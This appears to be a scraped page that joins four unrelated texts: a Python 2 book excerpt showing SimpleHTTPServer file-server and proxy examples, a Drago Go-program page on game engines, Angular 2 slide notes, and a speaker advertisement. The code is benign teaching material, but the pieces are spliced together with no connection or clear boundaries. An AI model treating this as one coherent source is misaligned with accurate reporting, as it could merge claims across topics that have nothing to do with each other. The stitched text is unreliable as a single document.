7.20 The SimpleHTTPServer ModuleThe SimpleHTTPServer module is a simple HTTP server that provides standard GET and HEAD request handlers. The pathname given by the client is interpreted as a relative filename (relative to the current directory when the server was started, that is). The module's use is demonstrated in Example 7-37. Example 7-37. Using the SimpleHTTPServer ModuleFile: simplehttpserver-example-1.py import SimpleHTTPServer import SocketServer # minimal web server. serves files relative to the # current directory. PORT = 8000 Handler = SimpleHTTPServer.SimpleHTTPRequestHandler httpd = SocketServer.TCPServer(("", PORT), Handler) print "serving at port", PORT httpd.serve_forever() serving at port 8000 localhost - - [11/Oct/1999 15:07:44] code 403, message Directory listing not sup ported localhost - - [11/Oct/1999 15:07:44] "GET / HTTP/1.1" 403 - localhost - - [11/Oct/1999 15:07:56] "GET /samples/sample.htm HTTP/1.1" 200 - The server ignores drive letters and relative pathnames (such as `..'). However, it does not implement any other access control mechanisms, so be careful. Example 7-38 implements a truly minimal web proxy. When sent to a proxy, the HTTP requests should include the full URI for the target server. This server uses urllib to fetch data from the target. Example 7-38. Using the SimpleHTTPServer Module as a ProxyFile: simplehttpserver-example-2.py # a truly minimal HTTP proxy import SocketServer import SimpleHTTPServer import urllib PORT = 1234 class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): self.copyfile(urllib.urlopen(self.path), self.wfile) httpd = SocketServer.ForkingTCPServer(('', PORT), Proxy) print "serving at port", PORT httpd.serve_forever() |
| I l@ve RuBoard |


|
Drago - Game engines |
||
|   |
Drago can be interfaced with game engines using the GTP protocol. In practice, there can be some limitations. Here is the list of the engines which can be used without any problem.
Thanks a lot to Ben Lambrechts for compiling and sharing the GNU Go and Fuego ports for Windows.
All the engines above have their own way to handle functions outside the GTP protocol. This includes:
To cope with all the possibilities, Drago has a configuration file describing what can be done and how with the six game engines listed above. The consequence for the user (you!): there is no need to enter command lines and parameters as Drago already knows how to use each engine. As an example, when starting an engine game against MoGo, the starting window enables only the features relevant
for it, ie timing per move or per game, and Chinese scoring only:
Click to enlarge MoGo port for Windows MoGo team does not support currently a port for Windows (March 2012). However, it is still possible to share the version previously available. Here it is: Drago proposes a default configuration which should be ok. In case of needs, and thanks to the wayback machine, here is a link to the page with the FAQ and description of the command line arguments. To check the recent development of MoGo, the home page is here.
Note also that:
|
  |


The Aim of Angular 2
Angular == Platform
- Framework library
- Browser/Web Worker/Electron/Native/...
- Server Side Rendering
- Tools
- ...
Using framework
Pros.
- Easy to start
- Write your app
- Community
Cons.
- Framework specific code
- Lock-in
case 'Angular 2':
Angular on the (Next) Web Standards
- ES2015 (Classes, Promises, Modules,...)
- Decorators
- Observables
- ...
Angular < Web Standards
Benefits of Angular 2
Speed
Rendering Performance
Angular 1 =
- dirty-checking
- two-way bindings
- $digest loop
What's Change Detection?
Model => View Projection
Check changes
- Every component has own detector
- 100000 checks / 10ms
- Change Detectors Tree:
One-way checking
ChangeDetectionStrategy
Should I update my view?
Simple
Angular 1
ngClick, ngKeydown, ngKeyup, ngBlur, ngMaxLength, ngMinLength, ngMouseOver, ngMouseLeave, ngBind,
ngFocus, ...
Angular 2
Properties: <input [value]="userName">
Events: <button (click)="send($event)">...</button>
Two-way: <input [(ngModel)]="userName">
New Syntax Static tools
Static tools
"Analyzability"
Angular 1
<my-directive
prop1="ctrl.someProp"
prop2="some text">
</my-directive>
Expression? Text?
Angular 2
<my-directive
[prop1]="someProp"
prop2="some text">
</my-directive>
Static Analyzable
TypeScript
Types as API documents
- Compiler == Static code analyzer
- Information from TypeScript
- tslint
- ng2lint
Write Once, Run manywhere
- Browser
- WebWorker
- Node.js (Universal)
- Desktop (Electron)
- Mobile (Ionic2)
- Mobile Native (NativeScript/React Native)
Summary
Angular 2 aims...
- High Speed
- Simple API
- Cross Platform
Angular Web standards


Excellence and power are not determined by size, and the iGEEK X06 know it.
Easy to operate, their highly efficient lithium batteries, enables the user to enjoy
music about 10 hours and the built-in microphone to enable teleconferences as
well as push-to-talk function, A clean design based in soft lines compone the
personality of this small yet efficient device.